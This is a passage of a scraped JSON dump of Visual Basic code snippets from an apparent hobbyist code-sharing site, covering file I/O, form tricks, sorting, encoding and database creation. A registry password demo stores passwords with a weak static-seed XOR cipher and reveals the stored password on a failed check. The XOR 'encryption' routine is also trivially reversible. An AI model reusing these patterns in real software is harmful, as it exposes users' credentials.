(o:"},{"WorldId":1,"id":2903,"LineNumber":1,"line":"Type BitFile\n FileNum As Integer 'File handle\n holder As Byte 'holds a byte from file\n mask As Byte 'used to read bits\nEnd Type\n\nPublic Function OpenOBitFile(FileName As String) As BitFile\n'Parameters - Filename\n'Returns - Bitfile\n'What it does - Opens a file for output a single bit at a time\n'Example - dim OutputFile as bitfile\n' OutputFile = OpenOBitFile(\"C:\\test.bit\")\n \n Dim bitfilename As BitFile\n FileNum = FreeFile 'get lowest available file handle\n Open FileName For Binary As FileNum 'open it\n bitfilename.FileNum = FileNum 'assign file number to structure\n bitfilename.holder = 0 'bit holder = 0\n bitfilename.mask = 128 'used to read individual bits\n OpenOBitFile = bitfilename\nEnd Function\nPublic Function OpenIBitFile(FileName As String) As BitFile\n'Parameters - Filename\n'Returns - Bitfile\n'What it does - Opens a file for input a single bit at a time\n'Example - dim InputFile as bitfile\n' InputFile = OpenIBitFile(\"C:\\command.com\")\n Dim bitfilename As BitFile\n FileNum = FreeFile 'get lowest available file handle\n Open FileName For Binary As FileNum 'open it\n bitfilename.FileNum = FileNum 'assign file number to structure\n bitfilename.holder = 0 'bit holder = 0\n bitfilename.mask = 128 'used to read individual bits\n OpenIBitFile = bitfilename\nEnd Function\nPublic Sub CloseIBitFile(bitfilename As BitFile)\n'Parameters - bitfile\n'Returns - Nothing\n'What it does - Closes the file associated with a bitfile\n'Example - CloseIBitFile(InputFile)\n Close bitfilename.FileNum 'Close the file associated with the bitfile\nEnd Sub\nPublic Sub CloseOBitFile(bitfilename As BitFile)\n'Parameters - bitfile\n'Returns - Nothing\n'What it does - Closes the file associated with a bitfile\n'Example - CloseOBitFile(OutputFile)\n If bitfilename.mask <> 128 Then 'If there is unwritten data...\n Put bitfilename.FileNum, , bitfilename.holder 'Write it now\n End If\n \n Close bitfilename.FileNum 'Close the file\nEnd Sub\nPublic Sub OutputBit(ByRef bitfilename As BitFile, bit As Byte)\n'Parameters - bitfile, bit to write\n'Returns - nothing\n'What it does - Writes the specified bit to the file\n'Example - OutputBit(OutputFile, 1)\n If bit <> 0 Then\n bitfilename.holder = bitfilename.holder Or bitfilename.mask\n 'the holder stores up written bits until there are 8\n 'At that point vb's normal file handling facilities can write it\n End If\n bitfilename.mask = bitfilename.mask \\ 2 'decrease mask by power of 2\n If bitfilename.mask = 0 Then 'if mask is empty\n Put bitfilename.FileNum, , bitfilename.holder 'write the byte\n bitfilename.holder = 0 'reset holder and mask\n bitfilename.mask = 128\n \n End If\n \nEnd Sub\nPublic Sub OutputBits(ByRef bitfilename As BitFile, ByVal code As Long, ByVal count As Integer)\n'Parameters - bitfile, data to write, number of bits to use\n'Returns - nothing\n'What it does - Writes the specified info using the specified number of bits\n'Example - OutputBits(OutputFile, 28, 7)\n Dim mask As Long\n mask = 2 ^ (count - 1)\n Do While mask <> 0\n If (mask And code) <> 0 Then 'if the bits match up...\n bitfilename.holder = bitfilename.holder Or bitfilename.mask 'put the bit in the holder\n End If\n bitfilename.mask = bitfilename.mask \\ 2\n mask = mask \\ 2\n If bitfilename.mask = 0 Then 'when there are 8 bits, write the holder to the file\n Put bitfilename.FileNum, , bitfilename.holder\n bitfilename.holder = 0 'and reset the holder and mask\n bitfilename.mask = 128\n End If\n Loop\nEnd Sub\nPublic Function InputBit(ByRef bitfilename As BitFile) As Byte\n'Parameters - bitfile\n'returns - the next bit from the file\n'Example: bit = InputBit(InputBitFile)\n\n Dim value As Byte\n If bitfilename.mask = 128 Then 'if at end of previous byte\n \n Get bitfilename.FileNum, , bitfilename.holder 'get a new byte from file\n End If\n value = bitfilename.holder And bitfilename.mask 'get the bit\n bitfilename.mask = bitfilename.mask \\ 2 'move the mask bit down one\n If bitfilename.mask = 0 Then\n bitfilename.mask = 128\n End If\n If value <> 0 Then 'return 0 or 1 depending on value\n InputBit = 1\n Else\n InputBit = 0\n End If\nEnd Function\nPublic Function InputBits(ByRef bitfilename As BitFile, count As Integer) As Long\n'Parameters - bitfile, number of bits to read\n'returns - the value of the next count bits in the bitfile\n'Example: byte = InputBits(InputBitFile, 8)\n'This function works just like inputbit except that it loops through and reads the specified\n'number of bits and puts them into a temporary holder\n Dim holder As Long\n Dim longmask As Long\n \n longmask = 2 ^ (count - 1)\n \n Do While (longmask <> 0)\n If bitfilename.mask = 128 Then\n \n Get bitfilename.FileNum, , bitfilename.holder\n End If\n If (bitfilename.holder And bitfilename.mask) <> 0 Then\n holder = holder Or longmask\n End If\n bitfilename.mask = bitfilename.mask \\ 2\n longmask = longmask \\ 2\n If bitfilename.mask = 0 Then\n bitfilename.mask = 128\n End If\n Loop\n \n InputBits = holder\nEnd Function\n"},{"WorldId":1,"id":2910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2911,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2920,"LineNumber":1,"line":"Private Sub Form_Load()\n Text1.Text = \"\"\nEnd Sub\nPrivate Sub Command1_Click()\n Label1.Caption = \"\"\n If Command1.Caption = \"Set Password\" Then\n Command1.Caption = \"Check Password\"\n Call SetPassword\n Else\n ThisPass = Text1.Text\n Call CheckPassword\n End If\n \nEnd Sub\nPublic Sub SetPassword()\n Dim CheckPass, ThisNewPass, PassTempVar As String\n \n 'Check and See if the password has been set\n CheckPass = QueryValue(HKEY_LOCAL_MACHINE, \"SOFTWARE\\RegPass\", \"Pass\")\n If CheckPass = \"\" Then\n 'If Not Create a new registry Entry\n Ret = CreateNewKey(HKEY_LOCAL_MACHINE, \"Software\\RegPass\")\n End If\n 'Encrypt the String with a static Seed (You can Change this so long as you use the same seed in CheckPassword)\n ThisNewPass = CryptIt(Text1.Text, \"ThisSeed\")\n \n 'Now Set the Password (Encrypted in the Registry)\n Ret = SetKeyValue(HKEY_LOCAL_MACHINE, \"SOFTWARE\\RegPass\", \"Pass\", ThisNewPass, REG_SZ)\n Text1.Text = \"\"\n Label1.Caption = \"Password Set\"\n \nEnd Sub\nPublic Sub CheckPassword()\n ' I could have used 1 variable for this but I think this is less confusing\n Dim CheckPass As String\n Dim ThisLength As Integer\n 'Retrieve the Encypted Password from the Regoistry\n CheckPass = CryptIt(QueryValue(HKEY_LOCAL_MACHINE, \"SOFTWARE\\RegPass\", \"Pass\"), \"ThisSeed\")\n \n 'For some strange reason I have to trim a trailing character...????\n ThisLength = Len(CheckPass) - 1\n CheckPass = Left(CheckPass, ThisLength)\n \n 'Check It Against the Entered Password\n \n If (CheckPass = Text1.Text) Then\n Command1.Caption = \"Set Password\"\n Label1.Caption = (\"Password Check Was Successful\")\n Else\n Label1.Caption = (\"Incorrect Password...Try Again (was really '\" + CheckPass + \"')\")\n Text1.Text = \"\"\n End If\n \nEnd Sub\nPrivate Sub Command2_Click()\n End\nEnd Sub\n"},{"WorldId":1,"id":2926,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2929,"LineNumber":1,"line":"'Put this in Form1's General Declarations.\nPrivate Sub Label1_Click()\n Timer1.Enabled = True\n \n Form2.Visible = True\nEnd Sub\n\nPrivate Sub Form_Load()\n Timer1.Enabled = False\nEnd Sub\n\nPrivate Sub Timer1_Timer()\n Form1.Top = Form1.Top + 60 'You can adjust the 60 to whatever you prefer. Highering it will make the form drop faster. (o:\n Form2.Enabled = True\nEnd Sub\n'Put this in Form2's General Declarations. (o:\nPrivate Sub Form_Activate()\n Form1.Show\n Form2.Hide\n Form1.Top = (Screen.Height - Height) / 2\n Form1.Left = (Screen.Width - Width) / 2\n Form1.Timer1.Enabled = False\nEnd Sub\n"},{"WorldId":1,"id":2931,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2935,"LineNumber":1,"line":"'Place this two lines of code any where in your program\n'...\n'enjoy!\n Dim tmp As Long\n tmp = SendMessage(Me.hWnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0&)"},{"WorldId":1,"id":2946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2949,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2952,"LineNumber":1,"line":"' To center a form quickly and easily, find the picture of\n' your form in the box in the lower right-hand corner of the \n' screen, right click on it, go to Startup Position, and \n' choose Center Screen. Now no matter what resolution they \n' use, it is in the center of the screen.\n'\n' In the Menu Editor (Tools... Menu Editor OR Ctrl-E), if you \n' make the caption of one of the options \" - \" (without \n' quotes or space) it will add a horizantal line in the menu \n' in that position.\n'\n' To keep from accidentally moving stuff you already have \n' where you want it, go to Format... Lock Controls. That will \n' keep anything from moving.\n'\n' Go to the Project Explorer window (ctrl-r). Right click and \n' go to Project1 Properties. Click on the Make tab. Now you\n' can change Copyright, program Title, version, Company, ect.\n'\n' If you need more help, ask people! Leave feedback here and\n' I will get back to you and add it into this \"help file\"! Look\n' in the help file (Help.. Microsoft Visual Basic Help Topics). \n' Most people are happy to help other people, so just ask."},{"WorldId":1,"id":2959,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2960,"LineNumber":1,"line":"Function DiferenciaEnFechas(pdFechaBase As Date, pdFecha As Date) As String\n'******************************************************\n'* Autor : Ricardo Ortiz\n'* Ultima Modificaci├│n: 17/08/1999\n'******************************************************\nDim dFechaAux As Date\nDim iYear As Integer, iMes As Integer, iDia As Integer\nDim iYearFinal As Integer\nDim iMesFinal As Integer\nDim iDiaFinal As Integer\nDim sTiempo As String, sAux As String\n iDia = DatePart(\"d\", pdFecha)\n iMes = Month(pdFechaBase)\n iYear = Year(pdFechaBase)\n dFechaAux = DateSerial(iYear, iMes, iDia)\n iDiaFinal = DateDiff(\"d\", dFechaAux, pdFechaBase)\n iMes = DateDiff(\"m\", pdFecha, pdFechaBase)\n Select Case iMes\n Case Is > 0 'Pasado\n iYearFinal = iMes \\ 12\n iMesFinal = iMes Mod 12\n If iDiaFinal < 0 Then\n If Month(dFechaAux) <> Month(pdFechaBase) Then 'Caso Raro\n iDiaFinal = 31 - (DatePart(\"d\", DateAdd(\"d\", -1, DateSerial(iYear, Month(dFechaAux), 1))))\n dFechaAux = DateAdd(\"m\", -1, dFechaAux)\n dFechaAux = DateAdd(\"d\", -iDiaFinal, dFechaAux)\n Else 'Caso Normal\n dFechaAux = DateAdd(\"m\", -1, dFechaAux)\n End If\n iDiaFinal = DateDiff(\"d\", dFechaAux, pdFechaBase)\n \n If iMesFinal > 0 Then\n iMesFinal = iMesFinal - 1\n Else\n If iYearFinal > 0 Then\n iYearFinal = iYearFinal - 1\n iMesFinal = 11\n End If\n End If\n End If\n sTiempo = \"Pasado: \"\n Case Is = 0\n iYearFinal = 0\n iMesFinal = 0\n If iDiaFinal < 0 Then 'Futuro\n iDiaFinal = DateDiff(\"d\", pdFechaBase, dFechaAux)\n sTiempo = \"Futuro: \"\n ElseIf iDiaFinal = 0 Then 'HOY\n sTiempo = \"HOY: \"\n Else 'Pasado\n sTiempo = \"Pasado: \"\n End If\n Case Else 'Futuro\n iMes = DateDiff(\"m\", pdFechaBase, pdFecha)\n iYearFinal = iMes \\ 12\n iMesFinal = iMes Mod 12\n \n If iDiaFinal > 0 Then\n dFechaAux = DateAdd(\"m\", 1, dFechaAux)\n iDiaFinal = DateDiff(\"d\", pdFechaBase, dFechaAux)\n If iMesFinal > 0 Then\n iMesFinal = iMesFinal - 1\n Else\n If iYearFinal > 0 Then\n iYearFinal = iYearFinal - 1\n iMesFinal = 11\n End If\n End If\n Else\n iDiaFinal = DateDiff(\"d\", pdFechaBase, dFechaAux)\n End If\n sTiempo = \"Futuro: \"\n End Select\n \n sAux = Str(iYearFinal)\n If iYearFinal = 1 Then\n sAux = sAux & \" A├▒o, \"\n Else\n sAux = sAux & \" A├▒os, \"\n End If\n \n sAux = sAux & Str(iMesFinal)\n If iMesFinal = 1 Then\n sAux = sAux & \" Mes, \"\n Else\n sAux = sAux & \" Meses, \"\n End If\n \n sAux = sAux & Str(iDiaFinal)\n If iDiaFinal = 1 Then\n sAux = sAux & \" D├¡a\"\n Else\n sAux = sAux & \" Dias\"\n End If\n \n DiferenciaEnFechas = sTiempo & sAux\nEnd Function\n"},{"WorldId":1,"id":2976,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2977,"LineNumber":1,"line":"Public Function encryptAll(data As String, seed As Long) As String\nDim x As Integer, tmp As String, stepnum As Integer\nDim byteArray() As Byte, seedOffset As Integer, n As String\ntmp = Trim$(Str(seed))\nseed = 0\nFor x = 1 To Len(tmp)\nn = Mid(tmp, x, 1)\n seed = seed + CLng(n)\nNext x\n \nreCheckSeed:\n If seed > 255 Then\n seed = -1 + (seed - 255)\n GoTo reCheckSeed\n End If\nFor x = 1 To Len(data)\n ReDim Preserve byteArray(x)\n n = Mid(data, x, 1)\n byteArray(x) = Asc(n)\n \n stepnum = seed + x\nreCheckstepnum:\n If stepnum > 255 Then\n stepnum = -1 + (stepnum - 255)\n GoTo reCheckstepnum\n End If\n \n byteArray(x) = byteArray(x) Xor CByte(stepnum)\n \nNext x\n tmp = \"\"\n For x = 1 To Len(data)\n tmp = tmp & Chr(byteArray(x))\n Next x\nencryptAll = tmp\nEnd Function\n"},{"WorldId":1,"id":2985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2993,"LineNumber":1,"line":"Public Sub SetLoaded()\n'put this in your main forms' Load procedure\n'this will set the count\nDim lTemp As Long, sPath As String\nlTemp& = GetLoaded&\nIf Right$(App.Path, 1) <> \"\\\" Then sPath$ = App.Path & \"\\\" & App.EXEName & \".tmp\" Else sPath$ = App.Path & App.EXEName & \".tmp\"\nOpen sPath$ For Output As #1\nPrint #1, lTemp& + 1\nClose #1\nEnd Sub\nPublic Function GetLoaded() As Long\n'call this to get how many times program has been loaded\nOn Error Resume Next\nDim sPath As String, sTemp As String\nIf Right$(App.Path, 1) <> \"\\\" Then sPath$ = App.Path & \"\\\" & App.EXEName & \".tmp\" Else sPath$ = App.Path & App.EXEName & \".tmp\"\nOpen sPath$ For Input As #1\nsTemp$ = Input(LOF(1), #1)\nClose #1\nIf sTemp$ = \"\" Then GetLoaded& = 0 Else GetLoaded& = CLng(sTemp$)\nEnd Function\n'works well\n'DoWnLoHo"},{"WorldId":1,"id":2994,"LineNumber":1,"line":"Public Function StripHTML(sHTML As String) As String\nDim sTemp As String, lSpot1 As Long, lSpot2 As Long, lSpot3 As Long\nsTemp$ = sHTML$\nDo\n lSpot1& = InStr(lSpot3& + 1, sTemp$, \"<\")\n lSpot2& = InStr(lSpot1& + 1, sTemp$, \">\")\n \n If lSpot1& = lSpot3& Or lSpot1& < 1 Then Exit Do\n If lSpot2& < lSpot1& Then lSpot2& = lSpot1& + 1\n \n sTemp$ = Left$(sTemp$, lSpot1& - 1) + Right$(sTemp$, Len(sTemp$) - lSpot2&)\n lSpot3& = lSpot1& - 1\nLoop\nStripHTML$ = sTemp$\nEnd Function\n"},{"WorldId":1,"id":2998,"LineNumber":1,"line":"'Add a textbox, a listbox, and a command button\n'Put this code in the command button\nClipboard.SetText \"\"\nText1.Text = \"\"\nFor X = 0 To List1.ListCount - 1\nText1.Text = Text1.Text & List1.List(X) & \", \"\nNext X\nClipboard.SetText Text1\n"},{"WorldId":1,"id":2999,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3025,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3035,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3041,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3050,"LineNumber":1,"line":"Dim vmom As Integer 'vertical momentum\nDim hmom As Integer 'horizontal momentum\nDim padSpeed As Integer 'the speed of the players paddle\nDim origPaddleLoc As Integer\nDim origBallLocY As Integer\nDim origBallLocX As Integer\nPrivate Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\nIf KeyCode = 38 Then 'the up key\n padSpeed = -150\nElseIf KeyCode = 40 Then 'the down key\n padSpeed = 150\nEnd If\nEnd Sub\nPrivate Sub Form_KeyUp(KeyCode As Integer, Shift As Integer)\npadSpeed = 0 'stop the paddle from moving\nEnd Sub\nPrivate Sub Form_Load()\nhmom = -150\nvmom = 0\n'record the origional starting locations for everything\norigPaddleLoc = shpPlayer1.Top\norigBallLocX = shpBall.Left\norigBallLocY = shpBall.Top\nEnd Sub\nPrivate Sub Timer1_Timer()\n'move the ball\nshpBall.Top = shpBall.Top + vmom\nshpBall.Left = shpBall.Left + hmom\n'check to see if the ball's hit a wall\nIf shpBall.Top + shpBall.Height >= shpWallBottom.Top Then\n shpBall.Top = shpWallBottom.Top - shpBall.Height\n vmom = -vmom\n Beep\nElseIf shpBall.Top <= shpWallTop.Top + shpWallTop.Height Then\n shpBall.Top = shpWallTop.Top + shpWallTop.Height\n vmom = -vmom\n Beep\nEnd If\n'move the paddle\nIf padSpeed <> 0 Then\n shpPlayer1.Top = shpPlayer1.Top + padSpeed\nEnd If\n'check to see if the paddle's hit a wall\nIf shpPlayer1.Top <= shpWallTop.Top + shpWallTop.Height Then\n shpPlayer1.Top = shpWallTop.Top + shpWallTop.Height\nElseIf shpPlayer1.Top + shpPlayer1.Height >= shpWallBottom.Top Then\n shpPlayer1.Top = shpWallBottom.Top - shpPlayer1.Height\nEnd If\nIf shpPlayer2.Top <= shpWallTop.Top + shpWallTop.Height Then\n shpPlayer2.Top = shpWallTop.Top + shpWallTop.Height\nElseIf shpPlayer2.Top + shpPlayer2.Height >= shpWallBottom.Top Then\n shpPlayer2.Top = shpWallBottom.Top - shpPlayer2.Height\nEnd If\n'move the computer player's paddle\nIf shpBall.Top < shpPlayer2.Top Then\n shpPlayer2.Top = shpPlayer2.Top - 250\nElseIf shpBall.Top > shpPlayer2.Top + shpPlayer2.Height Then\n shpPlayer2.Top = shpPlayer2.Top + 250\nEnd If\n'if the ball has hit player 1's paddle\nIf shpBall.Left <= shpPlayer1.Left + shpPlayer1.Width And shpBall.Left >= shpPlayer1.Left - shpPlayer1.Width Then\n If shpBall.Top + shpBall.Height >= shpPlayer1.Top And shpBall.Top <= shpPlayer1.Top + shpPlayer1.Height Then\n 'calculate the angle it's deflecting off at\n tmp = ((shpPlayer1.Top + (shpPlayer1.Height / 2)) - (shpBall.Top + (shpBall.Height / 2))) * 0.55\n vmom = vmom + -tmp\n Beep\n shpBall.Left = shpPlayer1.Left + shpPlayer1.Width\n 'deflect the ball\n hmom = -hmom\n End If\nEnd If\n'if the ball has hit player 2's paddle\nIf shpBall.Left + shpBall.Width >= shpPlayer2.Left And shpBall.Left <= shpPlayer2.Left + shpPlayer2.Width Then\n If shpBall.Top + shpBall.Height >= shpPlayer2.Top And shpBall.Top <= shpPlayer2.Top + shpPlayer2.Height Then\n 'calculate the angle it's deflecting off at\n tmp = ((shpPlayer2.Top + (shpPlayer2.Height / 2)) - (shpBall.Top + (shpBall.Height / 2))) * 0.55\n vmom = vmom + -tmp\n Beep\n shpBall.Left = shpPlayer2.Left - shpBall.Width\n 'deflect the ball\n hmom = -hmom\n End If\nEnd If\n'see if someone's won\nIf shpBall.Left + shpBall.Width < 0 Then\n 'reset the ball and paddles to their origional location\n shpBall.Left = origBallLocX\n shpBall.Top = origBallLocY\n shpPlayer1.Top = origPaddleLoc\n shpPlayer2.Top = origPaddleLoc\n hmom = -150\n vmom = 0\nElseIf shpBall.Left > Form1.Width Then\n 'reset the ball and paddles to their origional location\n shpBall.Left = origBallLocX\n shpBall.Top = origBallLocY\n shpPlayer1.Top = origPaddleLoc\n shpPlayer2.Top = origPaddleLoc\n hmom = 150\n vmom = 0\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":3051,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3066,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3070,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3072,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3074,"LineNumber":1,"line":"\n''There it is\nwrap$ = Chr$(10) + Chr$(13)\nMsgBox \"Line number 1\" + wrap$ + \"Line Number 2\"\n"},{"WorldId":1,"id":3076,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3077,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3080,"LineNumber":1,"line":"'$INCLUDE: 'directqb.bi'\n'Radix sorting: YAY! If you haven't heard of this before, it's\n'basically the best way to sort a set of values other than the\n'optimized radix sort, and I'm not handing out my code for that\n''basically, for a radix sort, you need to be able to look at bits,\n'and since I don't know of any vb functions to check a bit, I use\n'the directQB function DQBreadbit\n'For the record, DQBreadbit returns -1 if the bit is set and 0 if it is 0\n\n'number of values to be sorted\nsortnum = 100\n'sort0 is the array that contains the data to be sorted. This\n'is the one disadvantage to the radix sort. You need another equal\n'sized array.\nDim sort0(sortnum), sort1(sortnum)\nRandomize Timer: Cls\n'sort0 is the array to be sorted, sort1 is to assist\n'fill it with random crap\nFor i = 0 To sortnum\n sort0(i) = Int(Rnd * 10000)\nNext i\n\n'go through the bits from least important to most important\nFor Bit = 0 To 15\n 'set the pointers to the start of the two arrays\n tar0 = 0: tar1 = 0\n 'go through each number and if the current bit being checked is set, put it\n 'in the appropriate array\n For num = 0 To sortnum\n If DQBreadBit(sort0(num), Bit) Then sort1(tar1) = sort0(num): tar1 = tar1 + 1 Else sort0(tar0) = sort0(num): tar0 = tar0 + 1\n Next num\n 'get the now partially sorted data all into one array (sort0)\n For Copy = 0 To tar1 - 1\n sort0(tar0 + Copy) = sort1(Copy)\n Next Copy\nNext Bit\n\n'now sort0 contains all of the values sorted in ascending order\n'if there is a positive response to this, I think I'll make an ASM\n'sub to do radix sorts. Anyways, in an asm radix sort, it's not\n'uncommon to be able to sort 15000 values in less than a tenth of a\n'second. The trick is that the amount of time the radix sort takes\n'does not increase exponentially with the number of elements in the array.\n"},{"WorldId":1,"id":3095,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3096,"LineNumber":1,"line":"'it's a module\n'i went a little DIM crazy with the \n'variables but it's still good code...enjoy\nPublic Sub eRoot(rootpath As String, fldrs As Boolean)\n'fldrs is the folders switch, monkey with it and see what you get\nOn Error Resume Next\nDim EX, ARGU, path, X\nIf fldrs = True Then\nEX = \"explorer.exe\"\nARGU = \" /e,/root, \"\npath = rootpath$\nX = Shell(EX & ARGU & path, 1)\nElseIf fldrs = False Then\nEX = \"explorer.exe\"\nARGU = \" n/e,/,root, \"\npath = rootpath$\nX = Shell(EX & ARGU & path, 1)\nEnd If\nEnd Sub"},{"WorldId":1,"id":3113,"LineNumber":1,"line":"Public Function DecodeQP(ByRef StrToDecode As String) As String\nDim sTemp As String\nDim i As Integer\nsTemp = StrToDecode\nFor i = 255 To 127 Step -1\n If InStr(1, sTemp, \"=\" & Hex$(i)) <> 0 Then sTemp = Replace(sTemp, \"=\" & Hex$(i), Chr$(i))\nNext\n If InStr(1, sTemp, \"=\" & Hex$(61)) <> 0 Then sTemp = Replace(sTemp, \"=\" & Hex$(61), Chr$(255) & Chr$(254))\nFor i = 32 To 10 Step -1\n If InStr(1, sTemp, \"=\" & Hex$(i)) <> 0 Then sTemp = Replace(sTemp, \"=\" & Hex$(i), Chr$(i))\nNext\nFor i = 9 To 0 Step -1\n If InStr(1, sTemp, \"=\" & \"0\" & Hex$(i)) <> 0 Then sTemp = Replace(sTemp, \"=\" & Hex$(i), Chr$(i))\nNext\nsTemp = Replace(sTemp, \"=\", \"\")\nsTemp = Replace(sTemp, Chr$(255) & Chr$(254), \"=\")\nDecodeQP = sTemp\nEnd Function\nPublic Function EncodeQP(ByRef StrToEncode As String) As String\nDim sTemp As String\nDim i As Integer\nsTemp = StrToEncode\nFor i = 255 To 127 Step -1\n If InStr(1, sTemp, Chr$(i)) <> 0 Then sTemp = Replace(sTemp, Chr$(i), \"=\" & Hex$(i))\nNext\n If InStr(1, sTemp, Chr$(61)) <> 0 Then sTemp = Replace(sTemp, Chr$(61), \"=\" & Hex$(61))\nFor i = 32 To 10 Step -1\n If InStr(1, sTemp, Chr$(i)) <> 0 Then sTemp = Replace(sTemp, Chr$(i), \"=\" & Hex$(i))\nNext\nFor i = 9 To 0 Step -1\n If InStr(1, sTemp, Chr$(i)) <> 0 Then sTemp = Replace(sTemp, Chr$(i), \"=\" & \"0\" & Hex$(i))\nNext\nEncodeQP = sTemp\nEnd Function\n"},{"WorldId":1,"id":3125,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3147,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3152,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3160,"LineNumber":1,"line":"Public Sub CreateIcon()\n Dim Tic As NOTIFYICONDATA\n Tic.cbSize = Len(Tic)\n Tic.hwnd = Picture1.hwnd\n Tic.uID = 1&\n Tic.uFlags = NIF_DOALL\n Tic.uCallbackMessage = WM_MOUSEMOVE\n Tic.hIcon = Picture1.Picture\n Tic.szTip = \"Visual Basic Demo Project\" & Chr$(0)\n erg = Shell_NotifyIcon(NIM_ADD, Tic)\n End Sub\n Public Sub DeleteIcon()\n Dim Tic As NOTIFYICONDATA\n Tic.cbSize = Len(Tic)\n Tic.hwnd = Picture1.hwnd\n Tic.uID = 1&\n erg = Shell_NotifyIcon(NIM_DELETE, Tic)\n End Sub\nPrivate Sub Command1_Click()\nCreateIcon\nEnd Sub\nPrivate Sub Command2_Click()\nDeleteIcon\nEnd Sub\nPrivate Sub Picture1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\nX = X / Screen.TwipsPerPixelX\n Select Case X\n Case WM_LBUTTONDOWN\n Caption = \"Left Click\"\n Case WM_RBUTTONDOWN\n Caption = \"Right Click\"\n Case WM_MOUSEMOVE\n Caption = \"Move\"\n Case WM_LBUTTONDBLCLK\n Caption = \"Double Click\"\n End Select\nEnd Sub\n"},{"WorldId":1,"id":3163,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3164,"LineNumber":1,"line":"Option Explicit\n'* This uses ADOX components to create a database and database \n'* objects at runtime. This can be used also to create databases\n'* for applications instead of an the actual Microsoft Access \n'* application. Set a reference to \"Ext.2.1 for DDL and Security\" \n'* in the project references. Add this class to a project and call\n'* CreateAdox passing the Database Name, Table Name, Table Name\n'* Submitted by Timothy A. Vanover\n'* hdhunter@home.com\nPrivate tbl As ADOX.Table\nPrivate cat As ADOX.Catalog 'the actual database\nPrivate idx As ADOX.Index\nPrivate Pkey As ADOX.Key\nPublic Sub CreateAdox(strCatalogName As String, _\n strTableNameOne As String, _\n strTableNameTwo As String)\n Set cat = New ADOX.Catalog\n \n On Error GoTo MyError\n \n'* This creates the actual database.\n cat.Create \"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\" & _\n App.Path & \"\\\" & strCatalogName & \".mdb\"\n \n Set tbl = New ADOX.Table\n \n With tbl\n .Name = strTableNameOne\n Set .ParentCatalog = cat\n .Columns.Append \"MyPrimaryKey\", adInteger 'long data type\n .Columns(\"MyPrimaryKey\").Properties(\"AutoIncrement\") = True 'auto number\n .Columns.Append \"MyIntegerData\", adSmallInt 'Integer data type\n .Columns.Append \"MyStringData\", adVarWChar, 25 'string size of 25\n End With\n cat.Tables.Append tbl 'add the table to the database\n \n Set Pkey = New ADOX.Key 'create new key object\n With Pkey\n .Name = \"MyPrimaryKey\"\n .Type = adKeyPrimary\n .Columns.Append \"MyPrimaryKey\"\n End With\n tbl.Keys.Append Pkey\n Set Pkey = Nothing\n Set idx = New ADOX.Index\n With idx\n .Unique = False 'duplicates allowed\n .Name = \"MyIntegerData\"\n .Columns.Append \"MyIntegerData\"\n End With\n tbl.Indexes.Append idx\n Set idx = Nothing\n \n Set idx = New ADOX.Index\n With idx\n .Unique = True 'NO duplicates allowed\n .Name = \"MyStringData\"\n .Columns.Append \"MyStringData\"\n End With\n tbl.Indexes.Append idx\n Set idx = Nothing\n Set tbl = Nothing\n \n'* Create a detail Table with a memo Field, and foreign key\n Set tbl = New ADOX.Table\n With tbl\n .Name = strTableNameTwo\n Set .ParentCatalog = cat\n .Columns.Append \"MyPrimaryKey\", adInteger 'Long data type\n .Columns.Append \"MyMemoData\", adLongVarWChar 'Memo data type\n End With\n cat.Tables.Append tbl\n \n Set Pkey = New ADOX.Key\n With Pkey 'set relationship\n .Name = \"MyPrimaryKey\"\n .Type = adKeyForeign\n .RelatedTable = strTableNameOne\n .Columns.Append \"MyPrimaryKey\"\n .Columns(\"MyPrimaryKey\").RelatedColumn = \"MyPrimaryKey\"\n .UpdateRule = adRICascade 'Enforce Referential Integrity\n End With\n tbl.Keys.Append Pkey\n \n Set tbl = Nothing\n Set Pkey = Nothing\n Set cat = Nothing\n \n Exit Sub\n \nMyError:\n Debug.Print Err.Number & Space$(1) & Err.Description\nEnd Sub\n"},{"WorldId":1,"id":3166,"LineNumber":1,"line":"Private Sub Form_Load()\n'---------------------------------------------------------------------------\n---------------\n' Name : Form_Load\n' Purpose : Event when Form is being loaded\n' Parameters :\n' Date : Sonntag 22 August 1999 17:36\n' Revised :\n'---------------------------------------------------------------------------\n---------------\n 'Draw the Text\n DrawText\nEnd Sub\nPrivate Sub DrawText()\n'---------------------------------------------------------------------------\n---------------\n' Name : DrawText\n' Purpose : This Function Draws the Text vertical\n' Parameters :\n' Date : Sonntag 22 August 1999 17:36\n' Revised :\n'---------------------------------------------------------------------------\n---------------\n 'Declaration\n Dim stText1 As String\n Dim stText2 As String\n Dim imaxWidth As Integer\n Dim picTmp As PictureBox\n 'Define the Text, add some extra spaces before and after the Text\n stText1 = \" This is my vertical Text \"\n stText2 = \" This is shorter \"\n 'Get the max Width of the Text which will be displayed\n If TextWidth(stText1) > imaxWidth Then imaxWidth = TextWidth(stText1)\n If TextWidth(stText2) > imaxWidth Then imaxWidth = 